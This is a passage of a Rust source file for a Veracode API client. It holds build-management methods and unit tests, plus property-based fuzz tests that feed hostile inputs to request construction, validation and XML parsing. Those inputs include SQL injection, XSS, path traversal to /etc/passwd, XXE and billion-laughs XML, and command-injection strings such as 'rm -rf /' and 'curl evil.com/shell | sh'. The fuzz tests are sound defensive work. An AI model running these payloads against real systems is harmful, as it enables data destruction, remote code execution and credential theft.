1095    ///
1096    /// # Errors
1097    ///
1098    /// Returns an error if the API request fails, authentication fails,
1099    /// or the operation is rejected by the Veracode platform.
1100    pub async fn create_sandbox_build(
1101        &self,
1102        app_id: &str,
1103        sandbox_id: &str,
1104        version: Option<&str>,
1105    ) -> Result<Build, BuildError> {
1106        let request = CreateBuildRequest {
1107            app_id: app_id.to_string(),
1108            version: version.map(str::to_string),
1109            lifecycle_stage: None,
1110            launch_date: None,
1111            sandbox_id: Some(sandbox_id.to_string()),
1112        };
1113
1114        self.create_build(&request).await
1115    }
1116
1117    /// Delete the most recent application build
1118    ///
1119    /// # Arguments
1120    ///
1121    /// * `app_id` - Application ID
1122    ///
1123    /// # Returns
1124    ///
1125    /// A `Result` containing the deletion result or an error.
1126    ///
1127    /// # Errors
1128    ///
1129    /// Returns an error if the API request fails, authentication fails,
1130    /// or the operation is rejected by the Veracode platform.
1131    pub async fn delete_app_build(&self, app_id: &str) -> Result<DeleteBuildResult, BuildError> {
1132        let request = DeleteBuildRequest {
1133            app_id: app_id.to_string(),
1134            sandbox_id: None,
1135        };
1136
1137        self.delete_build(&request).await
1138    }
1139
1140    /// Delete the most recent sandbox build
1141    ///
1142    /// # Arguments
1143    ///
1144    /// * `app_id` - Application ID
1145    /// * `sandbox_id` - Sandbox ID
1146    ///
1147    /// # Returns
1148    ///
1149    /// A `Result` containing the deletion result or an error.
1150    ///
1151    /// # Errors
1152    ///
1153    /// Returns an error if the API request fails, authentication fails,
1154    /// or the operation is rejected by the Veracode platform.
1155    pub async fn delete_sandbox_build(
1156        &self,
1157        app_id: &str,
1158        sandbox_id: &str,
1159    ) -> Result<DeleteBuildResult, BuildError> {
1160        let request = DeleteBuildRequest {
1161            app_id: app_id.to_string(),
1162            sandbox_id: Some(sandbox_id.to_string()),
1163        };
1164
1165        self.delete_build(&request).await
1166    }
1167
1168    /// Get the most recent build info for an application
1169    ///
1170    /// # Arguments
1171    ///
1172    /// * `app_id` - Application ID
1173    ///
1174    /// # Returns
1175    ///
1176    /// A `Result` containing the build information or an error.
1177    ///
1178    /// # Errors
1179    ///
1180    /// Returns an error if the API request fails, authentication fails,
1181    /// or the operation is rejected by the Veracode platform.
1182    pub async fn get_app_build_info(&self, app_id: &str) -> Result<Build, BuildError> {
1183        let request = GetBuildInfoRequest {
1184            app_id: app_id.to_string(),
1185            build_id: None,
1186            sandbox_id: None,
1187        };
1188
1189        self.get_build_info(&request).await
1190    }
1191
1192    /// Get build info for a specific sandbox
1193    ///
1194    /// # Arguments
1195    ///
1196    /// * `app_id` - Application ID
1197    /// * `sandbox_id` - Sandbox ID
1198    ///
1199    /// # Returns
1200    ///
1201    /// A `Result` containing the build information or an error.
1202    ///
1203    /// # Errors
1204    ///
1205    /// Returns an error if the API request fails, authentication fails,
1206    /// or the operation is rejected by the Veracode platform.
1207    pub async fn get_sandbox_build_info(
1208        &self,
1209        app_id: &str,
1210        sandbox_id: &str,
1211    ) -> Result<Build, BuildError> {
1212        let request = GetBuildInfoRequest {
1213            app_id: app_id.to_string(),
1214            build_id: None,
1215            sandbox_id: Some(sandbox_id.to_string()),
1216        };
1217
1218        self.get_build_info(&request).await
1219    }
1220
1221    /// Get list of all builds for an application
1222    ///
1223    /// # Arguments
1224    ///
1225    /// * `app_id` - Application ID
1226    ///
1227    /// # Returns
1228    ///
1229    /// A `Result` containing the build list or an error.
1230    ///
1231    /// # Errors
1232    ///
1233    /// Returns an error if the API request fails, authentication fails,
1234    /// or the operation is rejected by the Veracode platform.
1235    pub async fn get_app_builds(&self, app_id: &str) -> Result<BuildList, BuildError> {
1236        let request = GetBuildListRequest {
1237            app_id: app_id.to_string(),
1238            sandbox_id: None,
1239        };
1240
1241        self.get_build_list(&request).await
1242    }
1243
1244    /// Get list of builds for a sandbox
1245    ///
1246    /// # Arguments
1247    ///
1248    /// * `app_id` - Application ID
1249    /// * `sandbox_id` - Sandbox ID
1250    ///
1251    /// # Returns
1252    ///
1253    /// A `Result` containing the build list or an error.
1254    ///
1255    /// # Errors
1256    ///
1257    /// Returns an error if the API request fails, authentication fails,
1258    /// or the operation is rejected by the Veracode platform.
1259    pub async fn get_sandbox_builds(
1260        &self,
1261        app_id: &str,
1262        sandbox_id: &str,
1263    ) -> Result<BuildList, BuildError> {
1264        let request = GetBuildListRequest {
1265            app_id: app_id.to_string(),
1266            sandbox_id: Some(sandbox_id.to_string()),
1267        };
1268
1269        self.get_build_list(&request).await
1270    }
1271}
1272
1273#[cfg(test)]
1274mod tests {
1275    use super::*;
1276    use crate::VeracodeConfig;
1277
1278    #[test]
1279    fn test_create_build_request() {
1280        let request = CreateBuildRequest {
1281            app_id: "123".to_string(),
1282            version: Some("1.0.0".to_string()),
1283            lifecycle_stage: Some("In Development (pre-Alpha)".to_string()),
1284            launch_date: Some("12/31/2024".to_string()),
1285            sandbox_id: None,
1286        };
1287
1288        assert_eq!(request.app_id, "123");
1289        assert_eq!(request.version, Some("1.0.0".to_string()));
1290        assert_eq!(
1291            request.lifecycle_stage,
1292            Some("In Development (pre-Alpha)".to_string())
1293        );
1294    }
1295
1296    #[test]
1297    fn test_update_build_request() {
1298        let request = UpdateBuildRequest {
1299            app_id: "123".to_string(),
1300            build_id: Some("456".to_string()),
1301            version: Some("1.1.0".to_string()),
1302            lifecycle_stage: Some("Internal or Alpha Testing".to_string()),
1303            launch_date: None,
1304            sandbox_id: Some("789".to_string()),
1305        };
1306
1307        assert_eq!(request.app_id, "123");
1308        assert_eq!(request.build_id, Some("456".to_string()));
1309        assert_eq!(request.sandbox_id, Some("789".to_string()));
1310    }
1311
1312    #[test]
1313    fn test_lifecycle_stage_validation() {
1314        // Test valid lifecycle stages
1315        assert!(is_valid_lifecycle_stage("In Development (pre-Alpha)"));
1316        assert!(is_valid_lifecycle_stage("Internal or Alpha Testing"));
1317        assert!(is_valid_lifecycle_stage("External or Beta Testing"));
1318        assert!(is_valid_lifecycle_stage("Deployed"));
1319        assert!(is_valid_lifecycle_stage("Maintenance"));
1320        assert!(is_valid_lifecycle_stage("Cannot Disclose"));
1321        assert!(is_valid_lifecycle_stage("Not Specified"));
1322
1323        // Test invalid lifecycle stages
1324        assert!(!is_valid_lifecycle_stage("In Development"));
1325        assert!(!is_valid_lifecycle_stage("Development"));
1326        assert!(!is_valid_lifecycle_stage("QA"));
1327        assert!(!is_valid_lifecycle_stage("Production"));
1328        assert!(!is_valid_lifecycle_stage(""));
1329
1330        // Test default
1331        assert_eq!(default_lifecycle_stage(), "In Development (pre-Alpha)");
1332        assert!(is_valid_lifecycle_stage(default_lifecycle_stage()));
1333    }
1334
1335    #[test]
1336    fn test_build_error_display() {
1337        let error = BuildError::BuildNotFound;
1338        assert_eq!(error.to_string(), "Build not found");
1339
1340        let error = BuildError::InvalidParameter("Invalid app_id".to_string());
1341        assert_eq!(error.to_string(), "Invalid parameter: Invalid app_id");
1342
1343        let error = BuildError::CreationFailed("Build creation failed".to_string());
1344        assert_eq!(
1345            error.to_string(),
1346            "Build creation failed: Build creation failed"
1347        );
1348    }
1349
1350    #[tokio::test]
1351    async fn test_build_api_method_signatures() {
1352        async fn _test_build_methods() -> Result<(), Box<dyn std::error::Error>> {
1353            let config = VeracodeConfig::new("test", "test");
1354            let client = VeracodeClient::new(config)?;
1355            let api = client.build_api()?;
1356
1357            // Test that the method signatures exist and compile
1358            let create_request = CreateBuildRequest {
1359                app_id: "123".to_string(),
1360                version: None,
1361                lifecycle_stage: None,
1362                launch_date: None,
1363                sandbox_id: None,
1364            };
1365
1366            // These calls won't actually execute due to test environment,
1367            // but they validate the method signatures exist
1368            let _: Result<Build, _> = api.create_build(&create_request).await;
1369            let _: Result<Build, _> = api.create_simple_build("123", None).await;
1370            let _: Result<Build, _> = api.create_sandbox_build("123", "456", None).await;
1371            let _: Result<DeleteBuildResult, _> = api.delete_app_build("123").await;
1372            let _: Result<Build, _> = api.get_app_build_info("123").await;
1373            let _: Result<BuildList, _> = api.get_app_builds("123").await;
1374
1375            Ok(())
1376        }
1377
1378        // If this compiles, the methods have correct signatures
1379        // Test passes if no panic occurs
1380    }
1381
1382    #[test]
1383    fn test_build_status_from_str() {
1384        assert_eq!(
1385            BuildStatus::from_string("Incomplete"),
1386            BuildStatus::Incomplete
1387        );
1388        assert_eq!(
1389            BuildStatus::from_string("Results Ready"),
1390            BuildStatus::ResultsReady
1391        );
1392        assert_eq!(
1393            BuildStatus::from_string("Pre-Scan Failed"),
1394            BuildStatus::PreScanFailed
1395        );
1396        assert_eq!(
1397            BuildStatus::from_string("Unknown Status"),
1398            BuildStatus::Unknown("Unknown Status".to_string())
1399        );
1400    }
1401
1402    #[test]
1403    fn test_build_status_to_str() {
1404        assert_eq!(BuildStatus::Incomplete.to_str(), "Incomplete");
1405        assert_eq!(BuildStatus::ResultsReady.to_str(), "Results Ready");
1406        assert_eq!(BuildStatus::PreScanFailed.to_str(), "Pre-Scan Failed");
1407        assert_eq!(
1408            BuildStatus::Unknown("Custom".to_string()).to_str(),
1409            "Custom"
1410        );
1411    }
1412
1413    #[test]
1414    fn test_build_status_deletion_policy_0() {
1415        // Policy 0: Never delete builds
1416        assert!(!BuildStatus::Incomplete.is_safe_to_delete(0));
1417        assert!(!BuildStatus::ResultsReady.is_safe_to_delete(0));
1418        assert!(!BuildStatus::Failed.is_safe_to_delete(0));
1419    }
1420
1421    #[test]
1422    fn test_build_status_deletion_policy_1() {
1423        // Policy 1: Delete only safe builds (incomplete, failed, cancelled states)
1424        assert!(BuildStatus::Incomplete.is_safe_to_delete(1));
1425        assert!(BuildStatus::NotSubmitted.is_safe_to_delete(1));
1426        assert!(BuildStatus::PreScanFailed.is_safe_to_delete(1));
1427        assert!(BuildStatus::Failed.is_safe_to_delete(1));
1428        assert!(BuildStatus::Cancelled.is_safe_to_delete(1));
1429
1430        // Should not delete active or successful builds
1431        assert!(!BuildStatus::ResultsReady.is_safe_to_delete(1));
1432        assert!(!BuildStatus::ScanInProcess.is_safe_to_delete(1));
1433        assert!(!BuildStatus::PreScanSuccess.is_safe_to_delete(1));
1434    }
1435
1436    #[test]
1437    fn test_build_status_deletion_policy_2() {
1438        // Policy 2: Delete any build except Results Ready
1439        assert!(BuildStatus::Incomplete.is_safe_to_delete(2));
1440        assert!(BuildStatus::Failed.is_safe_to_delete(2));
1441        assert!(BuildStatus::ScanInProcess.is_safe_to_delete(2));
1442        assert!(BuildStatus::PreScanSuccess.is_safe_to_delete(2));
1443
1444        // Should not delete Results Ready
1445        assert!(!BuildStatus::ResultsReady.is_safe_to_delete(2));
1446    }
1447
1448    #[test]
1449    fn test_build_status_deletion_policy_invalid() {
1450        // Invalid policy should default to never delete
1451        assert!(!BuildStatus::Incomplete.is_safe_to_delete(3));
1452        assert!(!BuildStatus::Failed.is_safe_to_delete(255));
1453    }
1454}
1455
1456#[cfg(test)]
1457#[allow(clippy::expect_used)] // Test code: expect is acceptable for test setup
1458mod proptests {
1459    use super::*;
1460    use proptest::prelude::*;
1461
1462    // Strategy for generating arbitrary build status strings
1463    fn arbitrary_status_string() -> impl Strategy<Value = String> {
1464        prop::string::string_regex("[A-Za-z0-9 -]{1,100}")
1465            .expect("valid regex pattern for arbitrary status string")
1466    }
1467
1468    // Strategy for generating valid lifecycle stages
1469    fn valid_lifecycle_stage_strategy() -> impl Strategy<Value = &'static str> {
1470        prop::sample::select(LIFECYCLE_STAGES)
1471    }
1472
1473    // Strategy for generating invalid lifecycle stages (fuzzing)
1474    fn invalid_lifecycle_stage_strategy() -> impl Strategy<Value = String> {
1475        prop_oneof![
1476            // Empty or whitespace
1477            Just("".to_string()),
1478            Just("   ".to_string()),
1479            // Case variations of valid stages (should fail - case sensitive)
1480            Just("in development (pre-alpha)".to_string()),
1481            Just("DEPLOYED".to_string()),
1482            // Partial matches
1483            Just("In Development".to_string()),
1484            Just("Deployed ".to_string()),
1485            Just(" Maintenance".to_string()),
1486            // SQL/XSS injection attempts
1487            Just("'; DROP TABLE builds; --".to_string()),
1488            Just("<script>alert('xss')</script>".to_string()),
1489            // Path traversal
1490            Just("../../etc/passwd".to_string()),
1491            Just("..\\..\\windows\\system32".to_string()),
1492            // Control characters
1493            Just("Deployed\0".to_string()),
1494            Just("Maintenance\n\r".to_string()),
1495            // Unicode attacks
1496            Just("Deployed\u{202E}".to_string()), // Right-to-left override
1497            Just("Maintenance\u{FEFF}".to_string()), // Zero-width no-break space
1498            // Very long strings
1499            prop::string::string_regex(".{256,512}").expect("valid regex pattern for long strings"),
1500        ]
1501    }
1502
1503    proptest! {
1504        #![proptest_config(ProptestConfig {
1505            cases: if cfg!(miri) { 5 } else { 1000 },
1506            failure_persistence: None,
1507            .. ProptestConfig::default()
1508        })]
1509
1510        /// Property: All valid lifecycle stages must be accepted
1511        #[test]
1512        fn proptest_valid_lifecycle_stages_always_accepted(
1513            stage in valid_lifecycle_stage_strategy()
1514        ) {
1515            prop_assert!(is_valid_lifecycle_stage(stage));
1516        }
1517
1518        /// Property: Invalid lifecycle stages must always be rejected
1519        #[test]
1520        fn proptest_invalid_lifecycle_stages_always_rejected(
1521            stage in invalid_lifecycle_stage_strategy()
1522        ) {
1523            prop_assert!(!is_valid_lifecycle_stage(&stage));
1524        }
1525
1526        /// Property: BuildStatus parsing must never panic on arbitrary input
1527        #[test]
1528        fn proptest_build_status_parsing_never_panics(
1529            status in arbitrary_status_string()
1530        ) {
1531            let result = BuildStatus::from_string(&status);
1532            // Must always produce a result (never panic)
1533            prop_assert!(matches!(result, BuildStatus::Unknown(_)) ||
1534                        matches!(result, BuildStatus::Incomplete) ||
1535                        matches!(result, BuildStatus::NotSubmitted) ||
1536                        matches!(result, BuildStatus::SubmittedToEngine) ||
1537                        matches!(result, BuildStatus::ScanInProcess) ||
1538                        matches!(result, BuildStatus::PreScanSubmitted) ||
1539                        matches!(result, BuildStatus::PreScanSuccess) ||
1540                        matches!(result, BuildStatus::PreScanFailed) ||
1541                        matches!(result, BuildStatus::PreScanCancelled) ||
1542                        matches!(result, BuildStatus::PrescanFailed) ||
1543                        matches!(result, BuildStatus::PrescanCancelled) ||
1544                        matches!(result, BuildStatus::ScanCancelled) ||
1545                        matches!(result, BuildStatus::ResultsReady) ||
1546                        matches!(result, BuildStatus::Failed) ||
1547                        matches!(result, BuildStatus::Cancelled));
1548        }
1549
1550        /// Property: BuildStatus roundtrip (from_string -> to_str) must be consistent for known statuses
1551        #[test]
1552        fn proptest_build_status_roundtrip_consistency(
1553            status in prop::sample::select(vec![
1554                "Incomplete", "Not Submitted", "Submitted to Engine", "Scan in Process",
1555                "Pre-Scan Submitted", "Pre-Scan Success", "Pre-Scan Failed", "Pre-Scan Cancelled",
1556                "Prescan Failed", "Prescan Cancelled", "Scan Cancelled", "Results Ready",
1557                "Failed", "Cancelled"
1558            ])
1559        ) {
1560            let parsed = BuildStatus::from_string(status);
1561            let back_to_str = parsed.to_str();
1562            prop_assert_eq!(back_to_str, status);
1563        }
1564
1565        /// Property: Deletion policy 0 must NEVER allow deletion (safety critical)
1566        #[test]
1567        fn proptest_deletion_policy_0_never_deletes(
1568            status in arbitrary_status_string()
1569        ) {
1570            let build_status = BuildStatus::from_string(&status);
1571            prop_assert!(!build_status.is_safe_to_delete(0));
1572        }
1573
1574        /// Property: Deletion policy must be monotonic (higher policy = more permissive)
1575        #[test]
1576        fn proptest_deletion_policy_monotonicity(
1577            status in arbitrary_status_string(),
1578            policy1 in 0u8..=2,
1579            policy2 in 0u8..=2
1580        ) {
1581            let build_status = BuildStatus::from_string(&status);
1582
1583            // If policy1 allows deletion, policy2 (if higher) should also allow it
1584            if policy1 <= policy2 && build_status.is_safe_to_delete(policy1) {
1585                prop_assert!(build_status.is_safe_to_delete(policy2));
1586            }
1587        }
1588
1589        /// Property: Results Ready builds must NEVER be deletable under any valid policy
1590        #[test]
1591        fn proptest_results_ready_never_deletable(policy in 0u8..=2) {
1592            prop_assert!(!BuildStatus::ResultsReady.is_safe_to_delete(policy));
1593        }
1594
1595        /// Property: Invalid policies (>2) must default to safe (never delete)
1596        #[test]
1597        fn proptest_invalid_deletion_policy_safe_default(
1598            status in arbitrary_status_string(),
1599            policy in 3u8..=255
1600        ) {
1601            let build_status = BuildStatus::from_string(&status);
1602            prop_assert!(!build_status.is_safe_to_delete(policy));
1603        }
1604
1605        /// Property: Lifecycle stage validation must be consistent
1606        #[test]
1607        fn proptest_lifecycle_stage_validation_consistency(
1608            stage in prop::string::string_regex(".{0,200}")
1609                .expect("valid regex pattern for lifecycle stage")
1610        ) {
1611            let is_valid = is_valid_lifecycle_stage(&stage);
1612
1613            // If valid, must be in LIFECYCLE_STAGES array
1614            if is_valid {
1615                prop_assert!(LIFECYCLE_STAGES.contains(&stage.as_str()));
1616            }
1617
1618            // If not in array, must be invalid
1619            if !LIFECYCLE_STAGES.contains(&stage.as_str()) {
1620                prop_assert!(!is_valid);
1621            }
1622        }
1623    }
1624}
1625
1626#[cfg(test)]
1627mod api_request_fuzzing_proptests {
1628    use super::*;
1629    use proptest::prelude::*;
1630
1631    // Strategy for generating arbitrary app IDs with malicious patterns
1632    fn malicious_app_id_strategy() -> impl Strategy<Value = String> {
1633        prop_oneof![
1634            // SQL injection patterns
1635            Just("'; DROP TABLE apps; --".to_string()),
1636            Just("' OR '1'='1".to_string()),
1637            Just("1 UNION SELECT * FROM users--".to_string()),
1638            // XSS patterns
1639            Just("<script>alert('xss')</script>".to_string()),
1640            Just("javascript:alert(1)".to_string()),
1641            Just("\"><script>alert(String.fromCharCode(88,83,83))</script>".to_string()),
1642            // Path traversal
1643            Just("../../../etc/passwd".to_string()),
1644            Just("..\\..\\..\\windows\\system32\\config\\sam".to_string()),
1645            // Command injection
1646            Just("; rm -rf /".to_string()),
1647            Just("| cat /etc/shadow".to_string()),
1648            Just("& net user hacker password /add".to_string()),
1649            // Null byte injection
1650            Just("123\0malicious".to_string()),
1651            // Format string attacks
1652            Just("%s%s%s%s%s%s%s%s%s%s".to_string()),
1653            Just("%n%n%n%n%n".to_string()),
1654            // LDAP injection
1655            Just("*)(uid=*))(|(uid=*".to_string()),
1656            // NoSQL injection
1657            Just("{\"$ne\": null}".to_string()),
1658            Just("{\"$gt\": \"\"}".to_string()),
1659            // Empty/whitespace
1660            Just("".to_string()),
1661            Just("   ".to_string()),
1662            // Very long strings (DoS)
1663            prop::string::string_regex(".{1000,5000}")
1664                .expect("valid regex pattern for very long strings"),
1665            // Unicode normalization attacks
1666            Just("\u{FEFF}123".to_string()), // Zero-width no-break space
1667            Just("123\u{200B}".to_string()), // Zero-width space
1668            Just("\u{202E}123\u{202D}".to_string()), // Right-to-left override
1669            // Control characters
1670            Just("123\r\n456".to_string()),
1671            Just("123\t456\n789".to_string()),
1672        ]
1673    }
1674
1675    // Strategy for malicious version strings
1676    fn malicious_version_strategy() -> impl Strategy<Value = String> {
1677        prop_oneof![
1678            // Path traversal in version
1679            Just("../../../etc/passwd".to_string()),
1680            Just("..\\..\\..\\windows\\system32".to_string()),
1681            // Command injection
1682            Just("1.0.0; curl evil.com/shell | sh".to_string()),
1683            Just("1.0`whoami`".to_string()),
1684            Just("1.0$(reboot)".to_string()),
1685            // XSS
1686            Just("<img src=x onerror=alert(1)>".to_string()),
1687            // Very long version strings
1688            prop::string::string_regex(".{500,1000}")
1689                .expect("valid regex pattern for long version strings"),
1690            // Special characters
1691            Just("\0\0\0".to_string()),
1692            Just("'\"\\n\\r\\t".to_string()),
1693            // Unicode attacks
1694            Just("\u{FEFF}1.0.0".to_string()),
1695        ]
1696    }
1697
1698    // Strategy for malicious date strings
1699    fn malicious_date_strategy() -> impl Strategy<Value = String> {
1700        prop_oneof![
1701            // Invalid date formats
1702            Just("2024-13-45".to_string()), // Invalid month/day
1703            Just("99/99/9999".to_string()),
1704            Just("00/00/0000".to_string()),
1705            // SQL injection
1706            Just("12/31/2024'; DROP TABLE dates; --".to_string()),
1707            // Format string
1708            Just("%s%s%s%s".to_string()),
1709            // Command injection
1710            Just("12/31/2024; cat /etc/passwd".to_string()),
1711            // Very long dates
1712            prop::string::string_regex(".{100,500}")
1713                .expect("valid regex pattern for long date strings"),
1714            // Negative values
1715            Just("-1/-1/-1".to_string()),
1716            // Integer overflow attempts
1717            Just("99999999/99999999/99999999".to_string()),
1718        ]
1719    }
1720
1721    proptest! {
1722        #![proptest_config(ProptestConfig {
1723            cases: if cfg!(miri) { 5 } else { 500 },
1724            failure_persistence: None,
1725            .. ProptestConfig::default()
1726        })]
1727
1728        /// Property: CreateBuildRequest construction never panics with malicious inputs
1729        #[test]
1730        fn proptest_create_build_request_malicious_input_safety(
1731            app_id in malicious_app_id_strategy(),
1732            version in malicious_version_strategy(),
1733            launch_date in malicious_date_strategy()
1734        ) {
1735            // Construction must never panic
1736            let request = CreateBuildRequest {
1737                app_id: app_id.clone(),
1738                version: Some(version.clone()),
1739                lifecycle_stage: Some("In Development (pre-Alpha)".to_string()),
1740                launch_date: Some(launch_date.clone()),
1741                sandbox_id: None,
1742            };
1743
1744            // Verify fields stored correctly (no injection/corruption)
1745            prop_assert_eq!(request.app_id, app_id);
1746            prop_assert_eq!(request.version, Some(version));
1747            prop_assert_eq!(request.launch_date, Some(launch_date));
1748        }
1749
1750        /// Property: UpdateBuildRequest construction never panics with malicious inputs
1751        #[test]
1752        fn proptest_update_build_request_malicious_input_safety(
1753            app_id in malicious_app_id_strategy(),
1754            build_id in malicious_app_id_strategy(),
1755            version in malicious_version_strategy()
1756        ) {
1757            let request = UpdateBuildRequest {
1758                app_id: app_id.clone(),
1759                build_id: Some(build_id.clone()),
1760                version: Some(version.clone()),
1761                lifecycle_stage: None,
1762                launch_date: None,
1763                sandbox_id: None,
1764            };
1765
1766            prop_assert_eq!(request.app_id, app_id);
1767            prop_assert_eq!(request.build_id, Some(build_id));
1768            prop_assert_eq!(request.version, Some(version));
1769        }
1770
1771        /// Property: DeleteBuildRequest construction never panics with malicious inputs
1772        #[test]
1773        fn proptest_delete_build_request_malicious_input_safety(
1774            app_id in malicious_app_id_strategy(),
1775            sandbox_id in malicious_app_id_strategy()
1776        ) {
1777            let request = DeleteBuildRequest {
1778                app_id: app_id.clone(),
1779                sandbox_id: Some(sandbox_id.clone()),
1780            };
1781
1782            prop_assert_eq!(request.app_id, app_id);
1783            prop_assert_eq!(request.sandbox_id, Some(sandbox_id));
1784        }
1785
1786        /// Property: Lifecycle stage validation rejects malicious inputs
1787        #[test]
1788        fn proptest_lifecycle_stage_rejects_malicious_input(
1789            malicious_stage in prop_oneof![
1790                malicious_app_id_strategy(),
1791                malicious_version_strategy(),
1792                Just("'; DROP TABLE stages; --".to_string()),
1793                Just("<script>alert('xss')</script>".to_string()),
1794            ]
1795        ) {
1796            // Malicious stages must not be validated as correct
1797            // (unless by extreme chance they match a valid stage exactly)
1798            let is_valid = is_valid_lifecycle_stage(&malicious_stage);
1799
1800            if is_valid {
1801                // If somehow valid, must be in the whitelist
1802                prop_assert!(LIFECYCLE_STAGES.contains(&malicious_stage.as_str()));
1803            } else {
1804                // Most malicious inputs should be rejected
1805                prop_assert!(!LIFECYCLE_STAGES.contains(&malicious_stage.as_str()));
1806            }
1807        }
1808
1809        /// Property: Build structure handles malicious attributes safely
1810        #[test]
1811        fn proptest_build_structure_malicious_attributes(
1812            key in malicious_version_strategy(),
1813            value in malicious_app_id_strategy()
1814        ) {
1815            let mut build = Build {
1816                build_id: "123".to_string(),
1817                app_id: "456".to_string(),
1818                version: None,
1819                app_name: None,
1820                sandbox_id: None,
1821                sandbox_name: None,
1822                lifecycle_stage: None,
1823                launch_date: None,
1824                submitter: None,
1825                platform: None,
1826                analysis_unit: None,
1827                policy_name: None,
1828                policy_version: None,
1829                policy_compliance_status: None,
1830                rules_status: None,
1831                grace_period_expired: None,
1832                scan_overdue: None,
1833                policy_updated_date: None,
1834                legacy_scan_engine: None,
1835                attributes: HashMap::new(),
1836            };
1837
1838            // Inserting malicious attributes must not panic
1839            build.attributes.insert(key.clone(), value.clone());
1840
1841            // Verify stored correctly without corruption
1842            prop_assert_eq!(build.attributes.get(&key), Some(&value));
1843        }
1844
1845        /// Property: BuildError display never panics with malicious messages
1846        #[test]
1847        fn proptest_build_error_display_safety(
1848            msg in malicious_app_id_strategy()
1849        ) {
1850            let errors = vec![
1851                BuildError::InvalidParameter(msg.clone()),
1852                BuildError::CreationFailed(msg.clone()),
1853                BuildError::UpdateFailed(msg.clone()),
1854                BuildError::DeletionFailed(msg.clone()),
1855                BuildError::XmlParsingError(msg.clone()),
1856            ];
1857
1858            for error in errors {
1859                // Display must never panic
1860                let _ = error.to_string();
1861                let _ = format!("{error}");
1862            }
1863        }
1864
1865        /// Property: BuildStatus Unknown variant handles arbitrary strings safely
1866        #[test]
1867        fn proptest_build_status_unknown_variant_safety(
1868            arbitrary_status in malicious_app_id_strategy()
1869        ) {
1870            let status = BuildStatus::Unknown(arbitrary_status.clone());
1871
1872            // to_str must never panic
1873            let str_repr = status.to_str();
1874            prop_assert_eq!(str_repr, arbitrary_status.as_str());
1875
1876            // Display must never panic
1877            let _ = status.to_string();
1878            let _ = format!("{status}");
1879
1880            // Deletion safety must still work
1881            let _ = status.is_safe_to_delete(0);
1882            let _ = status.is_safe_to_delete(1);
1883            let _ = status.is_safe_to_delete(2);
1884        }
1885    }
1886}
1887
1888#[cfg(test)]
1889mod xml_parsing_proptests {
1890    use super::*;
1891    use crate::{VeracodeClient, VeracodeConfig};
1892    use proptest::prelude::*;
1893
1894    // Strategy for generating malicious XML payloads
1895    fn malicious_xml_strategy() -> impl Strategy<Value = String> {
1896        prop_oneof![
1897            // XML bomb (billion laughs attack) - simplified version
1898            Just(r#"<?xml version="1.0"?>
1899<!DOCTYPE lolz [
1900  <!ENTITY lol "lol">
1901  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
1902]>
1903<build build_id="&lol2;" app_id="123"/>"#.to_string()),
1904
1905            // XXE (External Entity) injection
1906            Just(r#"<?xml version="1.0"?>
1907<!DOCTYPE build [
1908  <!ENTITY xxe SYSTEM "file:///etc/passwd">
1909]>
1910<build build_id="&xxe;" app_id="123"/>"#.to_string()),
1911
1912            // Malformed/unclosed tags
1913            Just("<build build_id=\"123\" app_id=\"456\"".to_string()),
1914            Just("<build build_id=\"123\"><invalid></build>".to_string()),
1915
1916            // XSS in attributes
1917            Just(r#"<build build_id="<script>alert('xss')</script>" app_id="123"/>"#.to_string()),
1918            Just(r#"<build build_id="123" version="&lt;script&gt;alert('xss')&lt;/script&gt;"/>"#.to_string()),
1919
1920            // SQL injection in attributes
1921            Just(r#"<build build_id="'; DROP TABLE builds; --" app_id="123"/>"#.to_string()),
1922
1923            // Path traversal in attributes
1924            Just(r#"<build build_id="../../etc/passwd" app_id="123"/>"#.to_string()),
1925
1926            // Control characters and null bytes
1927            Just("<build build_id=\"123\0\" app_id=\"456\"/>".to_string()),
1928            Just("<build build_id=\"123\r\n\" app_id=\"456\"/>".to_string()),
1929
1930            // Unicode attacks
1931            Just("<build build_id=\"123\u{202E}\" app_id=\"456\"/>".to_string()),
1932
1933            // Empty/missing required fields
1934            Just("<build/>".to_string()),
1935            Just("<build build_id=\"\"/>".to_string()),
1936            Just("<build app_id=\"\"/>".to_string()),
1937
1938            // Deeply nested XML
1939            Just("<a><b><c><d><e><f><g><h><i><j><build build_id=\"123\" app_id=\"456\"/></j></i></h></g></f></e></d></c></b></a>".to_string()),
1940
1941            // Very long attribute values
1942            prop::string::string_regex(".{1000,2000}")
1943                .expect("valid regex pattern for very long XML attributes")
1944                .prop_map(|s| format!(r#"<build build_id="{s}" app_id="123"/>"#)),
1945        ]
1946    }
1947
1948    proptest! {
1949        #![proptest_config(ProptestConfig {
1950            cases: if cfg!(miri) { 5 } else { 500 },
1951            failure_persistence: None,
1952            .. ProptestConfig::default()
1953        })]
1954
1955        /// Property: XML parsing must never panic on malicious input
1956        #[test]
1957        fn proptest_xml_parsing_never_panics_on_malicious_input(
1958            xml in malicious_xml_strategy()
1959        ) {
1960            let config = VeracodeConfig::new("test_id", "test_key");
1961            let client = VeracodeClient::new(config)
1962                .expect("valid test client configuration");
1963            let api = BuildApi::new(client);
1964
1965            // Should either parse successfully or return an error, never panic
1966            let result = api.parse_build_info(&xml);
1967            prop_assert!(result.is_ok() || result.is_err());
1968        }
1969
1970        /// Property: XML parsing with error elements must return proper errors
1971        #[test]
1972        fn proptest_xml_error_handling(
1973            error_msg in prop::string::string_regex(".{1,200}")
1974                .expect("valid regex pattern for error messages")
1975        ) {
1976            let xml = format!("<error>{error_msg}</error>");
1977            let config = VeracodeConfig::new("test_id", "test_key");
1978            let client = VeracodeClient::new(config)
1979                .expect("valid test client configuration");
1980            let api = BuildApi::new(client);
1981
1982            let result = api.parse_build_info(&xml);
1983
1984            // Must return an error for error elements
1985            prop_assert!(result.is_err());
1986        }
1987
1988        /// Property: Valid minimal XML must parse successfully
1989        /// Note: Uses opening/closing tags because parser doesn't handle self-closing <build/> in Event::Empty
1990        #[test]
1991        fn proptest_minimal_valid_xml_parsing(
1992            build_id in "[0-9]{1,10}",
1993            app_id in "[0-9]{1,10}"
1994        ) {
1995            let xml = format!(r#"<build build_id="{build_id}" app_id="{app_id}"></build>"#);
1996            let config = VeracodeConfig::new("test_id", "test_key");
1997            let client = VeracodeClient::new(config)
1998                .expect("valid test client configuration");
1999            let api = BuildApi::new(client);
2000
2001            let result = api.parse_build_info(&xml);
2002
2003            prop_assert!(result.is_ok());
2004            if let Ok(build) = result {
2005                prop_assert_eq!(build.build_id, build_id);
2006                prop_assert_eq!(build.app_id, app_id);
2007            }
2008        }
2009
2010        /// Property: Build list parsing must handle empty lists
2011        #[test]
